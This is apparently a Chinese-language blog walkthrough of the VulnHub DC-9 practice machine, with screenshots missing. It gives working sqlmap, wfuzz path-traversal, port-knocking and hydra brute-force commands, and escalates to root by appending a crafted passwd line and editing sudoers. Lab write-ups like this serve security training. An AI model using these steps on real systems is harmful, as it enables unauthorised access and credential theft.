vulnhub渗透实战-DC9

先nmap一下:

vulnhub渗透实战-DC9

 

 

 22端口的ssh服务被过滤了,80端口的http服务开放着,先从后者入手。通过浏览器访问网页,manage应该是用于登陆的:

vulnhub渗透实战-DC9

 

 

display all records可以查看一些用户信息:
vulnhub渗透实战-DC9

search模块应该是用于查询的,比如search一下之前的Mary:

vulnhub渗透实战-DC9

 

 

 那么这边有可能存在sql注入,使用burpsuite抓包验证一下:

vulnhub渗透实战-DC9

 

 

 vulnhub渗透实战-DC9

 

 

 可以爆出数据库名:

vulnhub渗透实战-DC9

 

 

 使用sqlmap进行数据库爆破,先把burpsuite截获的request报文拷贝到sqlmap.txt中:

vulnhub渗透实战-DC9

 

 

 sqlmap -r sqlmap.txt --dbs          爆出数据库:

vulnhub渗透实战-DC9

 

 

 之前我们已经手动注入获得数据库名为Staff,接下来爆出表格:sqlmap -r sqlmap.txt --tables -D "Staff"

vulnhub渗透实战-DC9

 

 

 我们感兴趣的是Users表,爆出Users表中的列名:sqlmap -r sqlmap.txt --columns -T "Users" -D "Staff"

vulnhub渗透实战-DC9

 

 

 最后爆出用户名和密码:

vulnhub渗透实战-DC9

 

 

 密码是hash值,直接在网站上破解:transorbital1

得到了管理员的用户名和密码:admin-transorbital1

除了Staff数据库以外,还有一个Users数据库,在其中的UserDetails表中可以找到很多用户名和密码,这儿的密码是明文,先将它们保存为username.txt和password.txt:

vulnhub渗透实战-DC9

 

 

 使用admin-transorbital1成功登陆网站,在网站中看到下面这句话:

vulnhub渗透实战-DC9

 

 

 应该是存在文件包含漏洞,使用wfuzz进行测试。首先获取登录的cookie:

vulnhub渗透实战-DC9

 

 

 测试文件包含使用的变量:wfuzz  --hh 1341 -b 'PHPSESSID=ga0mhstkji5331odmqidv0s7du' -c -w common.txt http://192.168.190.157/manage.php?FUZZ=../../../../../../../etc/passwd

其中--hh 1341表示过滤1341字符长度的response,-b用于指定cookie。-w用于指定字典

vulnhub渗透实战-DC9

 

 

 获得文件包含指定的变量名为file,在浏览器中打开看看,可以看到用户名正是之前我们使用sql注入得到的用户名:

vulnhub渗透实战-DC9

 

 

 使用hydra进行暴力破解登录,提示我们连接被拒绝:

vulnhub渗透实战-DC9

 

 

 SSH服务是容易被攻击的,相应的就衍生出一系列保护SSH的方法:

1、端口变化,并加强配置

2、设置用户白名单

3、完全隐藏允许SSH访问的事实,要求根据特殊的“敲门”序列识别有效用户:https://zhuanlan.zhihu.com/p/43716885

第三种方法常使用的工具是knockd,它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中。通过查看目标服务器运行进程看看是否开启了knockd:

vulnhub渗透实战-DC9

 

 /proc/sched_debug中存放的是CPU的调度情况。

确定了目标服务器上运行了knockd以后,knockd的默认配置文件的位置在/etc/knockd.conf中:

vulnhub渗透实战-DC9

 

 可以看到knockd的序号是7469、8475、9842,安装knockd以后使用knock敲门后再用hydra进行爆破:

vulnhub渗透实战-DC9

 

 获得三对用户名和密码。

当然,还有其他的敲门方法:

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done 
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done

只有登录进janitor里面才获得一些有效信息——一个隐藏文件夹下的密码,除此之外也没有找到提权的途径:

vulnhub渗透实战-DC9

 

 把这些密码加入之前的password.txt中,再hydra一下,发现获得了一对新的用户名和密码fredf-B4-Tru3-001:

vulnhub渗透实战-DC9

 

 使用这对用户名和密码登录ssh后,sudo -l一下发现可以不需要密码就执行root的test文件:

vulnhub渗透实战-DC9

 

 在其父目录中找到了test.py,应该是还没有编译的文件:

vulnhub渗透实战-DC9

 

 看来test的作用是把第一个文件的内容附加到第二个文件中。

使用openssl加密用户名-密码 kali-666

vulnhub渗透实战-DC9

 

 然后将

root1:$1$root1$XWBhesw1wJPdUdB54.rhA.:0:0::/root:/bin/bash

写入一个临时文件中,再使用test将这个临时文件附加在/etc/passwd中,最后su一下就可以了:

vulnhub渗透实战-DC9

 

还有另外一种提权方式,主要基于下面的原则(https://blog.csdn.net/heli200482128/article/details/77833881):

当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限
–>确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认
–>若密码输入成功,则开始执行sudo后续的命令

那么何时可以不需要输入密码呢:

1.root执行sudo时不需要输入密码(eudoers文件中有配置root ALL=(ALL) ALL这样一条规则)
2.欲切换的身份与执行者的身份相同,不需要输入密码
3./etc/sudoers文件设置为允许用户在不输入该用户的密码的情况下使用所有命令
如设置允许wheel用户组中的用户在不输入该用户的密码的情况下使用所有命令
( %wheel ALL=(ALL) NOPASSWD: ALL)

那么我们就可以往/etc/sudoers里面添加内容,使得用户可以以root的权限去执行命令:

vulnhub渗透实战-DC9

 

 然后用joeyt用户登录,sudo su,然后输入joeyt的密码即可:

vulnhub渗透实战-DC9

 获得flag:

vulnhub渗透实战-DC9

 

参考:

https://cloud.tencent.com/developer/article/1602518

https://my.oschina.net/u/4587410/blog/4943113

 

 

 

 



 

上一篇:Vulnhub靶机实战-HA AVENGERS ARSENAL


下一篇:vulnhub渗透实战-DC8